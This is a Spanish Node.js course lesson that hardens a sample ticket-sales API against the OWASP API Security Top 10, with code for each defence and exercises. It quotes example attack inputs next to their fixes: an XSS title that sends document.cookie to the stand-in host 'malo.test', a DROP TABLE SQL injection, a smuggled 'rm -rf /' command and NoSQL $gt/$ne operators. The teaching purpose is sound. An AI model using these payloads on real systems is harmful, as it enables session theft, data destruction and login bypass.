Escena Viva ya sabe quién llama y qué puede hacer cada uno. Las contraseñas están bien hasheadas, los tokens rotan, la matriz de permisos está escrita y el usuarioId de comprarEntradas es una conclusión del servidor y no un dato del cliente. Eso resuelve dos de los diez frentes de una API real.

Esta lección cierra el módulo con los otros ocho: la lista de comprobación que convierte una API que funciona en una API defendible. No es una colección de trucos sueltos —es el recorrido del OWASP API Security Top 10 aplicado punto por punto a Escena Viva, con el código concreto de cada defensa.

Contenido

  1. El OWASP API Security Top 10 en Escena Viva
  2. Límite de peticiones
  3. Límites de tamaño, complejidad y tiempo
  4. Asignación masiva y exposición excesiva de datos
  5. Inyección: SQL, NoSQL y comandos
  6. XSS y sanitización de salida
  7. Cabeceras de seguridad con helmet
  8. HTTPS, HSTS y Secure
  9. Gestión de secretos
  10. Registro y monitorización de eventos de seguridad
  11. Dependencias vulnerables y una advertencia honesta
  12. Errores comunes, ejercicios y conclusión

  1. El OWASP API Security Top 10 en Escena Viva

OWASP mantiene una lista específica para APIs porque los fallos de una API no son los de una web tradicional: aquí no hay formularios que sanear, hay endpoints que devuelven JSON a quien sepa pedirlo.

# Riesgo Qué significa Qué hace Escena Viva
1 Autorización rota a nivel de objeto Acceder a recursos ajenos por su id Filtro por usuarioId dentro de la consulta, en el repositorio (08-05)
2 Autenticación rota Login débil, tokens mal hechos, sin límites bcrypt con coste medido, JWT con algorithms fijos, refresco rotatorio (08-02, 08-04)
3 Autorización rota a nivel de propiedad Leer o escribir campos que no corresponden Esquemas zod .strict() en entrada y proyecciones explícitas en salida
4 Consumo de recursos sin límite Peticiones que agotan CPU, memoria o dinero express-rate-limit por ruta, tope de cuerpo, paginación con máximo, tiempos límite
5 Autorización rota a nivel de función Llamar a un endpoint de administración sin serlo exigirRol en cada ruta; denegar por defecto (08-05)
6 Acceso sin restricción a flujos sensibles Automatizar la compra y acaparar el aforo limiteCompra por usuario, verificación de correo obligatoria antes de comprar
7 Falsificación de peticiones del lado del servidor (SSRF) El servidor pide una URL que le da el cliente Escena Viva no acepta URLs del usuario; si aceptara imágenes de cartel, lista blanca de dominios
8 Mala configuración de seguridad Cabeceras ausentes, CORS abierto, errores con traza helmet, CORS con lista blanca, manejadorDeErrores que no filtra internos (M6)
9 Gestión inadecuada del inventario Versiones antiguas o entornos de prueba vivos Una sola versión /api, sin entornos de prueba expuestos, documentación al día
10 Consumo inseguro de APIs Confiar ciegamente en respuestas de terceros La pasarela de pago se validará como cualquier otra entrada

Los tres que más se subestiman son el 3, el 6 y el 9. El 3 porque «devolver el objeto entero» parece cómodo. El 6 porque no es un fallo técnico sino de negocio: la API funciona perfectamente mientras un revendedor vacía el aforo del Festival de Jazz. Y el 9 porque el endpoint que te compromete suele ser el que olvidaste que existía.

  1. Límite de peticiones

Un único limiteGeneral para toda la API es insuficiente: las rutas no cuestan lo mismo ni valen lo mismo para un atacante.

// src/middleware/limites.js  (version completa del modulo 8)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 con el formato de error de siempre (M6). Con standardHeaders,
// express-rate-limit anade Retry-After y las cabeceras RateLimit-*.
const respuestaLimite = (req, res) => res.status(429).json({
  error: { codigo: 'DEMASIADAS_PETICIONES', estado: 429,
    mensaje: 'Has superado el limite de peticiones. Intentalo mas tarde' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: respuestaLimite };
// Catalogo: generoso, es contenido publico y cacheable.
const limiteGeneral = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Login: muy estricto. Clave IP + correo para frenar tambien el ataque
// distribuido contra UNA cuenta desde muchas IPs.
const limiteLogin = rateLimit({
  ...base, windowMs: 15 * 60 * 1000, limit: 10,
  keyGenerator: (req) => `${req.ip}:${String(req.body?.email || '').toLowerCase()}`,
  skipSuccessfulRequests: true, // los aciertos no gastan cupo
});
// Registro: crear cuentas es caro (bcrypt) y se abusa para spam.
const limiteRegistro = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresco: un cliente sano refresca cada 15 min. Mas es anomalo.
const limiteRefresco = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Compra: por USUARIO autenticado, no por IP. Una familia comparte IP; un
// revendedor usa muchas IPs. La identidad es la clave util.
const limiteCompra = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
  keyGenerator: (req) => req.usuario?.id || req.ip });
module.exports = { limiteGeneral, limiteLogin, limiteRegistro, limiteRefresco, limiteCompra };
Ruta Ventana / límite Clave Motivo
GET /api/eventos 15 min / 300 IP Contenido público
POST /auth/login 15 min / 10 IP + correo Fuerza bruta y relleno de credenciales
POST /auth/registro 1 h / 5 IP Cuentas basura; bcrypt es caro
POST /auth/refrescar 15 min / 20 IP Detectar bucles y abuso
POST /api/compras 1 min / 5 Usuario Acaparamiento de entradas

El problema del proxy. Detrás de Nginx, un balanceador o un CDN, req.ip es la IP del proxy: todas las peticiones comparten clave y el límite se agota para todos a la vez. La solución, ya vista en el módulo 6, es app.set('trust proxy', 1) con el número de proxies de confianza —nunca true en producción, porque eso hace que Express crea cualquier X-Forwarded-For y un atacante podría falsificar su IP para saltarse los límites.

El problema de los varios procesos. El almacén por defecto de express-rate-limit está en memoria del proceso. Con cluster o con dos contenedores, cada proceso lleva su propia cuenta: un límite de 10 se convierte en 10 × número de procesos. La solución es un almacén compartido en Redis, que se desarrolla en el módulo 10 junto con cluster y el rate limiting distribuido.

  1. Límites de tamaño, complejidad y tiempo

Todo lo que el cliente controla y no tiene tope es una denegación de servicio esperando a ocurrir.

// src/app.js: cuerpo de 100 KB sobra para cualquier peticion de Escena Viva.
// Sin limite, un cuerpo de 500 MB tumba el proceso por memoria.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/servidor.js: cabeceras completas en 10 s frena Slowloris, que abre
// conexiones y envia cabeceras a cuentagotas para agotar el pool.
servidor.headersTimeout = 10_000;
servidor.requestTimeout = 30_000;   // peticion completa
servidor.keepAliveTimeout = 65_000; // por encima del ALB tipico (60 s)

Paginación obligatoria con tope. GET /api/eventos sin límite invita a ?tamano=1000000:

// src/esquemas/comunes.js. El .max(100) es el tope duro: la validacion
// RECHAZA, no recorta en silencio, para que el cliente sepa que su peticion
// era invalida.
const esquemaPaginacion = z.object({
  pagina: z.coerce.number().int().min(1).default(1),
  tamano: z.coerce.number().int().min(1).max(100).default(20),
}).strict();

Y los límites de complejidad que no son de tamaño:

Límite Valor en Escena Viva Qué evita
Tamaño del cuerpo 100 KB Agotar memoria
Longitud de contraseña 72 caracteres Hasheo costoso deliberado
Elementos por página / entradas por compra 100 / 10 Consultas gigantes; acaparamiento
Profundidad de objetos JSON Plana por esquema zod Analizado patológico
Tiempo de petición 30 s Conexiones colgadas

  1. Asignación masiva y exposición excesiva de datos

Ya apareció en 08-02 y en 08-05; aquí queda formalizada. Asignación masiva es volcar el cuerpo de la petición directamente en un modelo, con Usuario.create(req.body) o Object.assign(evento, req.body). Con un cuerpo {"email":"…","contrasena":"…","rol":"administrador","verificado":true} el atacante se nombra administrador verificado; y {"aforoVendido": 0} reinicia las ventas de una sesión del Festival de Jazz. La defensa son los esquemas zod del módulo 6 usados como lista blanca, más un controlador que construye el objeto campo a campo:

// src/esquemas/evento.js
const esquemaActualizarEvento = z.object({
  titulo: z.string().trim().min(3).max(200).optional(),
  descripcion: z.string().trim().max(2000).optional(),
}).strict();  // <- rechaza CUALQUIER campo no listado
// Campos explicitos en el controlador: lo que no se nombra, no se escribe.
const { titulo, descripcion } = req.datosValidados.cuerpo;
const cambios = {};
if (titulo !== undefined) { cambios.titulo = titulo; }
if (descripcion !== undefined) { cambios.descripcion = descripcion; }
await actualizarEvento(req.params.id, cambios);

Los campos que nunca se aceptan del cliente: rol, verificado, hashContrasena, estado (las transiciones tienen sus endpoints), aforoVendido, creadoEn, _id, usuarioId.

La cara complementaria: exposición excesiva de datos. El mismo problema al revés —devolver el documento entero y confiar en que el front-end oculte lo que sobra—. En vez de res.json(usuario), que expone campos internos y quizá el hash, una proyección explícita: res.json({ usuario: { id, nombre, email, rol } }). Por eso el modelo Usuario lleva select: false en hashContrasena y un toJSON que lo elimina: dos capas para el mismo fallo.

  1. Inyección: SQL, NoSQL y comandos

SQL. Resuelta en el módulo 7 con consultas parametrizadas. La diferencia:

// AGUJERO: concatenacion. Con sala = "x'; DROP TABLE entradas; --"...
const [filas] = await sequelize.query(`SELECT * FROM eventos WHERE sala = '${sala}'`);
// CORRECTO: parametros. El motor trata el valor SIEMPRE como dato, nunca
// como parte de la sentencia.
const [filas] = await sequelize.query('SELECT * FROM eventos WHERE sala = :sala',
  { replacements: { sala }, type: QueryTypes.SELECT });

NoSQL. Es la que sorprende, porque no hay cadenas que concatenar. Mongoose acepta objetos como valores de consulta, y un cuerpo JSON puede contener objetos: { "email": { "$gt": "" }, "contrasena": { "$gt": "" } }. Si el código hace Usuario.findOne({ email: req.body.email }), el operador $gt: "" significa «cualquier email mayor que la cadena vacía» y devuelve el primer usuario de la colección; combinado con un login mal escrito, es una entrada sin contraseña. Las defensas, en orden de eficacia:

  1. Validar el tipo con zod. z.string().email() rechaza un objeto de plano. Es la defensa principal, y ya la tenemos desde el módulo 6.
  2. Coaccionar explícitamente: String(req.body.email) convierte el objeto en "[object Object]", inofensivo.
  3. sanitizeFilter de Mongoose o express-mongo-sanitize como red de seguridad, no como defensa primaria; y nunca pasar req.body directo a find().

Inyección de comandos. Si algún día Escena Viva generase PDFs de entradas llamando a un binario:

// AGUJERO: exec pasa la cadena por una shell. Con el codigo de entrada
// "EV-2026-000001; rm -rf /" se ejecutan las dos ordenes.
exec(`convertir --codigo ${codigoEntrada}`);
// CORRECTO: execFile no usa shell, y los argumentos son argumentos
execFile('convertir', ['--codigo', codigoEntrada]);

Y aun así, validar codigoEntrada contra el formato EV-<año>-<6 dígitos> con una expresión regular anclada.

  1. XSS y sanitización de salida

«Devolvemos JSON, el XSS no va con nosotros» es un razonamiento peligroso a medias. Es cierto que un JSON no ejecuta scripts; es falso que la API no participe en el problema.

El escenario real: el organizador del Teatro Almendra crea un evento con título <img src=x onerror="fetch('https://malo.test?c='+document.cookie)">. La API lo guarda y lo devuelve. El front-end lo inserta con innerHTML en la ficha del evento. El script se ejecuta en el navegador de cada visitante. Eso es XSS almacenado, y la API fue el vehículo.

Las defensas, en capas:

Capa Medida Responsable
Entrada Validar formato y longitud con zod; rechazar lo que no encaje API
Almacenamiento Guardar el texto tal cual, sin escapar (escapar al guardar corrompe los datos) API
Salida y renderizado Escapar según el contexto; textContent en vez de innerHTML (React y Vue lo hacen solos) Front-end
HTML enriquecido DOMPurify si se permite HTML en las descripciones Front-end
Defensa en profundidad Content-Security-Policy; cookies HttpOnly y token de acceso en memoria API (08-04)

La regla que resuelve la confusión: se escapa en la salida, según el contexto, no en la entrada. El mismo título necesita escapado distinto en HTML, en un atributo, en JavaScript o en una URL. Escapar al guardar produce &lt; almacenados que reaparecen visibles cuando el dato se usa en otro sitio.

Lo que sí hace la API: Content-Type: application/json siempre (nunca text/html con datos del usuario), X-Content-Type-Options: nosniff vía helmet, y una CSP estricta para el front-end estático.

  1. Cabeceras de seguridad con helmet

helmet está montado desde el módulo 6. Repasémoslo ahora con criterio:

// src/app.js  (fragmento)
app.use(helmet({
  contentSecurityPolicy: { directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],       // sin 'unsafe-inline': mata el XSS reflejado
    styleSrc: ["'self'"],
    imgSrc: ["'self'", 'data:'],
    connectSrc: ["'self'", 'https://api.escenaviva.test'],
    frameAncestors: ["'none'"],  // nadie nos mete en un iframe
    objectSrc: ["'none'"],
    upgradeInsecureRequests: [],
  } },
  hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: 'no-referrer' },
  crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // cabecera que delata la tecnologia: fuera
Cabecera Qué hace Ataque que mitiga
Content-Security-Policy Restringe de dónde se cargan scripts y recursos XSS (la defensa en profundidad más potente)
Strict-Transport-Security Obliga a HTTPS durante un año Degradación a HTTP, sslstrip
X-Content-Type-Options: nosniff Prohíbe adivinar el tipo JSON interpretado como HTML
X-Frame-Options / frame-ancestors Impide el enmarcado Clickjacking
Referrer-Policy / Cross-Origin-Resource-Policy No filtra la URL de origen; restringe quién incrusta respuestas Fuga de tokens en URLs; fugas entre sitios

Y el CORS del módulo 6, con la regla que no se negocia:

// Lista blanca explicita. NUNCA origin: '*' con credentials: true (el
// navegador lo rechaza, y el intento revela un diseno equivocado).
const corsListaBlanca = cors({
  origin: (origen, callback) => (!origen || configuracion.origenesPermitidos.includes(origen)
    ? callback(null, true)
    : callback(new Error('Origen no permitido'))),
  credentials: true, maxAge: 600,
});

Recuerda además que CORS no es autorización: es una protección del navegador. curl ignora CORS por completo. Un endpoint sin autenticación no está protegido porque tenga CORS restringido.

  1. HTTPS, HSTS y Secure

Sin TLS, todo lo anterior es decorado. En claro por la red viajan la contraseña de Lucía en el POST /auth/login, el token de acceso en cada cabecera Authorization y la cookie de refresco. Cualquiera en la misma Wi-Fi lo lee.

Las tres piezas: HTTPS en todas partes (no solo en el login: si el token viaja en claro una vez, se acabó); HSTS (Strict-Transport-Security), que hace que el navegador recuerde durante un año que este dominio es solo HTTPS y no permita ni el primer salto en claro —con preload, viene de fábrica—; y redirección de HTTP a HTTPS para quien escriba la dirección a mano.

// Redireccion 308 en produccion, cuando el proxy termina TLS.
if (configuracion.entorno === 'produccion') {
  app.use((req, res, next) => (req.secure   // req.secure funciona gracias a
    ? next()                                // app.set('trust proxy', 1)
    : res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}

Con HTTPS obligatorio, Secure en las cookies deja de ser opcional: sin él, la cookie de refresco de 30 días se enviaría en cualquier petición HTTP accidental. Y __Host- como prefijo obliga al navegador a comprobar Secure, Path=/ y ausencia de Domain.

El despliegue con TLS, los certificados de Let's Encrypt y la terminación en el proxy se cierran en el módulo 11.

  1. Gestión de secretos

Escena Viva maneja hoy: MONGODB_URL, POSTGRES_URL, SECRETOS_SESION, JWT_SECRETO_ACCESO, JWT_SECRETO_REFRESCO, SECRETO_CSRF. Las reglas:

  • Fuera del código. Todo pasa por src/config/index.js, el único punto que lee process.env. Un grep -r 'process.env' src/ que devuelva algo fuera de ese fichero es un fallo de revisión.
  • Fuera del repositorio. .env en .gitignore desde el módulo 5; .env.ejemplo versionado con los nombres y sin valores.
  • Distintos por entorno, con longitud suficiente (32 caracteres mínimo, generados con randomBytes, nunca frases inventadas) y rotables: por eso SECRETOS_SESION es una lista.
  • Validados al arrancar: mejor que el proceso no arranque a que sirva inseguro.

Qué hacer cuando se filtra un secreto, en este orden y sin saltarse pasos:

  1. Rotar inmediatamente. Es lo primero, antes de investigar nada.
  2. Invalidar lo derivado: si era el secreto JWT, todos los tokens dejan de valer; si era el de sesión, todas las sesiones caen. Es molesto y es correcto.
  3. Investigar el alcance: qué se pudo hacer con él y desde cuándo estaba expuesto.
  4. Auditar los registros buscando uso anómalo en ese periodo.
  5. Borrar del historial de Git si acabó allí — y aun así, darlo por comprometido para siempre: alguien pudo clonar el repositorio.
  6. Documentar el incidente y añadir la detección que lo hubiera evitado (escáneres de secretos en CI, ganchos de pre-commit).

El error más caro es el paso 5 sin el 1: reescribir el historial y creer que el secreto vuelve a ser secreto.

  1. Registro y monitorización de eventos de seguridad

Un ataque que nadie ve es un ataque con éxito. Qué registrar:

Evento Por qué importa
Inicio de sesión fallido; inicio correcto desde IP o país nuevos Fuerza bruta, relleno de credenciales, cuenta comprometida
Cambio de contraseña, de correo o de rol Toma de control de cuenta; escalada de privilegios (08-05)
Revocación de familia por reutilización de refresco Token robado (08-04)
403 o 429 repetidos del mismo usuario Sondeo de permisos; automatización
Errores 500 en ráfaga Explotación en curso o bug grave

Qué nunca aparece en un registro: contraseñas (ni siquiera hasheadas), tokens de acceso o refresco, cookies, cabeceras Authorization, tokens de recuperación, ni el cuerpo completo de una petición de autenticación.

// src/registro/censura.js
'use strict';
const CAMPOS_CENSURADOS = new Set([
  'contrasena', 'contrasenaActual', 'contrasenaNueva', 'hashContrasena',
  'token', 'tokenAcceso', 'refresco', 'authorization', 'cookie', 'set-cookie',
]);
// Censura recursiva antes de registrar cualquier objeto. El fallo real no suele
// ser un console.log(contrasena), sino volcar la peticion entera en un
// capturador de errores.
function censurar(valor, profundidad = 0) {
  if (profundidad > 5 || valor === null || typeof valor !== 'object') { return valor; }
  const salida = Array.isArray(valor) ? [] : {};
  for (const [clave, contenido] of Object.entries(valor)) {
    salida[clave] = CAMPOS_CENSURADOS.has(clave.toLowerCase())
      ? '[CENSURADO]' : censurar(contenido, profundidad + 1);
  }
  return salida;
}
module.exports = { censurar, CAMPOS_CENSURADOS };

Los registros deben ser estructurados (JSON), llevar el idPeticion del módulo 6 para correlacionar, y tener política de retención (son datos personales). El logging en producción, su envío a un sistema centralizado y las alertas se desarrollan en el módulo 11.

  1. Dependencias vulnerables y una advertencia honesta

En el módulo 5 vimos npm audit y la seguridad de la cadena de suministro. Aquí importa especialmente, porque el módulo 8 ha añadido dependencias que están en la ruta crítica de la autenticación: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. Las prácticas mínimas: npm audit --omit=dev (el script auditoria del package.json), npm outdated para ver versiones desfasadas, npm ci para instalaciones reproducibles desde el lockfile, package-lock.json versionado, la auditoría como paso que rompe la construcción ante vulnerabilidades altas o críticas, actualizaciones automatizadas revisadas por una persona, y ninguna dependencia nueva sin mirar su mantenimiento y sus dependencias transitivas. La CI se monta en el módulo 11.

Y ahora, la advertencia. Todo lo de este módulo es correcto y necesario. No es suficiente.

  • Esta lección no sustituye una auditoría de seguridad profesional. Un especialista encuentra lo que un desarrollador no ve por conocer demasiado bien su propio código.
  • Si Escena Viva procesa pagos reales, entra en el ámbito de PCI DSS. La respuesta correcta casi siempre es no tocar los datos de tarjeta: delegar en una pasarela (Stripe, Redsys) y no almacenar nada.
  • Si maneja datos personales de residentes en la UE, aplica el RGPD: base legal, minimización, derechos de acceso y supresión, registro de tratamientos y notificación de brechas en 72 horas.
  • La seguridad no es un estado, es un proceso: dependencias que envejecen, ataques nuevos, código que cambia.
  • Y una regla de oro: si tu decisión de seguridad depende de que un atacante no sepa algo, no es seguridad, es esperanza.

Errores Comunes y Consejos

  • trust proxy: true en producción. Hace que Express crea cualquier X-Forwarded-For: un atacante falsifica su IP y esquiva todos los límites. Pon el número de proxies reales.
  • Limitar solo por IP. Detrás de un CDN o una red móvil compartida, castiga a inocentes y no frena al que rota IPs. Limita por identidad donde la haya.
  • Creer que CORS protege la API: es una protección del navegador, y curl no la conoce. O escapar HTML al guardar, que corrompe los datos y no protege en otros contextos; se escapa en la salida.
  • res.json(documento) sin proyección. Exposición excesiva de datos, el fallo silencioso más frecuente.
  • Devolver la traza del error al cliente. Regala rutas, versiones y estructura interna. El manejadorDeErrores del módulo 6 solo devuelve mensajes de errores operativos.
  • Dejar viva una versión antigua de la API. El endpoint olvidado no tiene las defensas nuevas.
  • Consejo: convierte esta lección en una lista de comprobación del repositorio y repásala en cada revisión de código. La seguridad que depende de la memoria de alguien se pierde en la primera semana de prisa.
  • Consejo: haz que la CI falle ante npm audit con vulnerabilidades altas, ante secretos detectados y ante rutas sin middleware de autenticación —lo que automatizas se cumple— y deniega por defecto: una ruta nueva sin política explícita debe ser inaccesible, no pública.

Ejercicios

Ejercicio 1: auditar un endpoint

Encuentra los seis fallos de seguridad de este endpoint y reescríbelo.

router.get('/api/usuarios', async (req, res) => {
  const filtro = req.query.filtro ? JSON.parse(req.query.filtro) : {};
  const usuarios = await Usuario.find(filtro).select('+hashContrasena');
  res.json(usuarios);
});

Ejercicio 2: límite por flujo sensible

Las entradas del Festival de Jazz (evt-003) se agotan en segundos y sospechamos de revendedores. Diseña las medidas de límite y control para POST /api/compras, indicando qué mide cada una y qué ataque frena. Ten en cuenta que un revendedor puede crear muchas cuentas.

Ejercicio 3: lista de comprobación

Escribe la lista de comprobación de seguridad de Escena Viva agrupada en cuatro bloques (autenticación, autorización, entrada/salida, infraestructura), con al menos cuatro puntos verificables por bloque. «Verificable» significa que se pueda responder sí o no mirando el código.

Soluciones

Ejercicio 1

  1. Sin autenticación: cualquiera lista los usuarios.
  2. Sin autorización: aunque la hubiera, listar usuarios es solo de administrador.
  3. Inyección NoSQL: JSON.parse de un parámetro de consulta permite {"rol":{"$ne":"asistente"}} o filtros arbitrarios.
  4. select('+hashContrasena'): expone los hashes de todas las contraseñas. Injustificable fuera del login.
  5. Sin paginación: find({}) devuelve la colección entera; con muchos usuarios, tumba el proceso por memoria.
  6. res.json(usuarios) sin proyección: exposición excesiva de datos (fechas internas, __v, salaAsignada).
router.get('/api/usuarios', autenticar, exigirRol('administrador'),
  validar(esquemaListarUsuarios, ORIGENES_VALIDOS.CONSULTA), // zod .strict()
  async (req, res, next) => {
    try {
      const { pagina, tamano, rol } = req.datosValidados.consulta;
      const filtro = rol ? { rol } : {}; // construido a partir de valores VALIDADOS
      const usuarios = await Usuario.find(filtro)
        .select('email nombre rol verificado creadoEn')  // proyeccion explicita
        .skip((pagina - 1) * tamano).limit(tamano).lean(); // tope: max 100 en zod
      res.json({ pagina, tamano, usuarios: usuarios.map((u) => ({ id: String(u._id),
        email: u.email, nombre: u.nombre, rol: u.rol, verificado: u.verificado })) });
    } catch (error) { next(error); }
  });

Ejercicio 2

Medida Qué mide Ataque que frena
limiteCompra: 5 peticiones/min por usuario Identidad autenticada Automatización desde una cuenta
Máximo 6 entradas por pedido y 10 por sesión y usuario (regla de negocio en el repositorio) Acumulado histórico Acaparamiento con muchas peticiones pequeñas
exigirVerificado y limiteRegistro (5 cuentas/hora por IP) Propiedad del correo; creación de cuentas Cuentas desechables y fábricas de cuentas
Antigüedad mínima de cuenta en eventos de «alta demanda» Fecha de creadoEn Cuentas creadas justo antes de la venta
CAPTCHA al superar un umbral; cola de espera con turno firmado Comportamiento y orden de llegada Automatización básica; ráfagas simultáneas
Auditoría de compras por IP, tarjeta y agente de usuario Correlación entre cuentas Detección posterior de redes de cuentas

Las tres primeras son la base y se implementan hoy con lo aprendido. Nota honesta: el límite por usuario no puede frenar por sí solo a quien controla mil cuentas verificadas; por eso el control real combina límites, fricción (verificación, antigüedad) y detección posterior, con capacidad de anular pedidos. Y todo ello con el almacén compartido en Redis del módulo 10, porque con varios procesos el límite en memoria se multiplica.

Ejercicio 3

Autenticación

  • [ ] Las contraseñas se hashean con bcrypt y el coste está en configuracion, medido en el hardware real.
  • [ ] hashContrasena tiene select: false y se elimina en toJSON.
  • [ ] El login responde con mensaje, código y tiempo idénticos para usuario inexistente y contraseña incorrecta.
  • [ ] jwt.verify fija algorithms, issuer y audience de forma explícita.
  • [ ] El token de refresco se guarda hasheado, rota en cada uso y detecta reutilización, y los secretos de acceso y refresco son distintos y de 32+ caracteres.

Autorización

  • [ ] Toda ruta no pública lleva autenticar y una comprobación de permiso explícita.
  • [ ] Las consultas de recursos propios filtran por req.usuario.id dentro de la consulta.
  • [ ] Se distingue 401 de 403, y se usa 404 donde la existencia es sensible.
  • [ ] La política vive en src/autorizacion/politica.js y no hay if de rol en los controladores.
  • [ ] Ningún endpoint acepta rol, verificado o estado desde el cuerpo, y los cambios de rol quedan auditados y revocan los tokens de refresco.

Entrada y salida

  • [ ] Todos los esquemas zod usan .strict(); todos los listados tienen paginación con tope máximo.
  • [ ] express.json tiene limit configurado.
  • [ ] Ninguna respuesta devuelve un documento del ODM sin proyección explícita.
  • [ ] Ninguna consulta a la base recibe req.body o req.query sin validar.
  • [ ] Los errores no operativos no filtran mensaje ni traza al cliente.

Infraestructura

  • [ ] helmet con CSP y HSTS; x-powered-by desactivado; CORS con lista blanca, nunca '*' con credenciales.
  • [ ] trust proxy con el número real de proxies.
  • [ ] Límites de peticiones por tipo de ruta, con clave adecuada (IP o usuario).
  • [ ] process.env solo se lee en src/config/index.js, con validación al arrancar.
  • [ ] npm audit sin vulnerabilidades altas y package-lock.json versionado.
  • [ ] Los registros están censurados y no contienen credenciales ni tokens.

Conclusión

Con esta lección se cierra el módulo 8, y Escena Viva es otra API. Empezamos con un comprarEntradas que aceptaba el usuarioId que le diera la gana al cliente y terminamos con un sistema completo: contraseñas hasheadas con bcrypt y coste medido, registro y login que no filtran qué correos existen ni por el mensaje ni por el tiempo, tokens de un solo uso bien hechos para verificar y recuperar; sesiones de servidor con Passport, con regeneración contra la fijación de sesión y protección CSRF; JWT de acceso corto con algorithms fijos y token de refresco rotatorio en cookie HttpOnly con detección de reutilización; una matriz de permisos convertida en política centralizada, con 401 y 403 bien diferenciados y el filtro por propietario empujado dentro de la consulta para que el IDOR sea imposible en vez de evitable. Y, en esta última lección, el OWASP API Security Top 10 recorrido de verdad: límites afinados por ruta, topes de tamaño y paginación, asignación masiva cerrada con listas blancas, inyección SQL y NoSQL bloqueada en el borde, cabeceras de seguridad con criterio, HTTPS obligatorio, secretos gestionados y eventos de seguridad monitorizados sin registrar jamás una credencial.

Y ahora, la pregunta incómoda de siempre, la que este curso te hace al final de cada módulo.

La API de Escena Viva vende entradas, persiste pedidos con transacciones que impiden la sobreventa, autentica usuarios, rota tokens y autoriza operaciones según roles y propiedad. Hace muchísimas cosas. Y nadie ha comprobado nunca que funcione. Ni una sola vez. npm test sigue fallando a propósito desde el módulo 5, y cada línea de seguridad que hemos escrito en estas seis lecciones —el señuelo de bcrypt, la detección de reutilización del refresco, cada celda de la matriz de permisos— descansa hoy sobre la confianza de que la escribimos bien. Un if invertido en puedeGestionarEvento abriría el catálogo entero sin que nada avisara.

En el módulo 9 ponemos fin a eso: pruebas unitarias con Mocha y Chai, dobles de prueba con Sinon, pruebas de integración con supertest contra la aplicación real, cobertura y depuración. Verás que la política de autorización, al ser funciones puras, se prueba entera con una tabla de casos que recorre la matriz celda por celda. Y descubrirás que autenticar en las pruebas tiene su propia técnica —cómo consigue supertest un token válido sin escribir una contraseña en el código de las pruebas—, que es justo lo que veremos allí.

Curso de Node.js: De Principiante a Avanzado

Módulo 1: Introducción a Node.js

Módulo 2: Conceptos Básicos

Módulo 3: Sistema de Archivos y E/S

Módulo 4: HTTP y Servidores Web

Módulo 5: NPM y Gestión de Paquetes

Módulo 6: Framework Express.js

Módulo 7: Bases de Datos y ORMs

Módulo 8: Autenticación y Autorización

Módulo 9: Pruebas y Depuración

Módulo 10: Temas Avanzados

Módulo 11: Despliegue y DevOps

Módulo 12: Proyectos del Mundo Real

© Copyright 2026. Todos los derechos reservados